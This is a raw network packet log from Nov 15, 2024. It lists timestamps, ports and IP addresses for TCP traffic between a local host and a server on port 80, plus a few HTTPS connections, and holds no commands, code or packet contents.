Nov 15, 2024 09:55:44.913621902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913645983 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913696051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913702965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913714886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913722038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913727999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913733959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913741112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913748980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913757086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913772106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913789988 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913813114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913820028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913831949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913839102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913844109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.913858891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.913883924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.949763060 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.949794054 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.961169958 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.961178064 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.985877037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985901117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985914946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985927105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985944986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985951900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985964060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985970020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985976934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.985989094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986002922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986043930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986056089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986063004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986068010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986068964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986109018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986129045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986152887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986159086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986171007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986176968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986192942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986200094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986203909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986232996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986244917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986251116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986260891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986268044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986290932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986303091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986332893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986339092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986350060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986377954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986381054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986388922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986401081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986433029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986454010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986464977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986471891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986485004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986490965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986498117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986509085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986536026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986538887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986552000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986576080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986582041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986588001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986609936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986624002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986639977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986654043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986711979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986717939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986730099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986754894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986779928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986785889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986829996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986848116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986852884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986865997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986867905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986896992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986933947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986939907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986952066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986958027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986979961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.986989021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986994982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.986994982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987001896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987005949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987037897 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987075090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987081051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987093925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987101078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987119913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987135887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987181902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987188101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987205982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987211943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987224102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987229109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987235069 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987235069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987251043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987265110 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987270117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.987288952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987322092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.987999916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988061905 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988074064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988101959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988128901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988136053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988210917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988238096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988249063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988271952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988276958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988352060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988363028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988369942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988387108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988393068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988404989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988425016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988441944 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988454103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988460064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988473892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988504887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988514900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988521099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988533020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988564968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988574028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988601923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988677025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988791943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988802910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988810062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988815069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988821030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988826990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988832951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988837957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988846064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988856077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988867044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988867998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988874912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988882065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988898039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988915920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988936901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.988945007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988950968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988962889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.988969088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989002943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989027023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989037037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989042044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989053011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989058018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989080906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989103079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989130974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989136934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989150047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989180088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989239931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989245892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989257097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989263058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989268064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989274025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989279985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989285946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989288092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989306927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989322901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989377975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989384890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989401102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989407063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989418030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989423990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989424944 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989444017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989460945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989473104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989554882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989566088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989572048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989578009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989586115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989598036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989615917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989638090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989691973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989697933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989708900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989715099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989721060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989732027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989737988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989751101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989752054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989759922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989768028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989773989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989789963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989814997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989844084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989849091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989861965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989866972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989891052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989905119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989921093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989927053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989938021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989968061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989974976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.989979982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.989986897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.990024090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.995023966 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.000261068 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.000293016 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.000844002 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.008413076 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.008524895 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.027493954 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:45.027942896 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.028037071 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.028076887 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.031114101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031133890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031143904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031173944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031204939 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.031240940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.031963110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031970024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031984091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.031990051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032028913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032049894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032174110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032180071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032191038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032196999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032226086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032233000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032238960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032248974 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032250881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032275915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032294035 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032311916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032316923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032330990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032376051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032376051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032381058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032406092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032429934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032548904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032594919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032604933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032620907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032625914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.032640934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.032665968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.034348011 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.049458027 CET	443	49977	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.074208975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.074234009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.074248075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.074428082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.078519106 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:45.078567982 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:45.078758955 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.078787088 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.079349041 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:45.080157995 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.080423117 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.081293106 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:45.081401110 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:45.081891060 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.081985950 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.082204103 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:45.082299948 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.082309008 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.082329035 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.082396030 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.091116905 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.091188908 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.091294050 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.091305971 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.091347933 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.092596054 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.098265886 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.098294973 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.099061012 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.099071026 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.099735022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.099960089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104597092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104626894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104641914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104679108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104682922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104686975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104700089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104707003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104712009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104732990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104742050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104748011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104748964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104753971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104777098 CET	49872	80	192.168.2.7	185.215.113.206
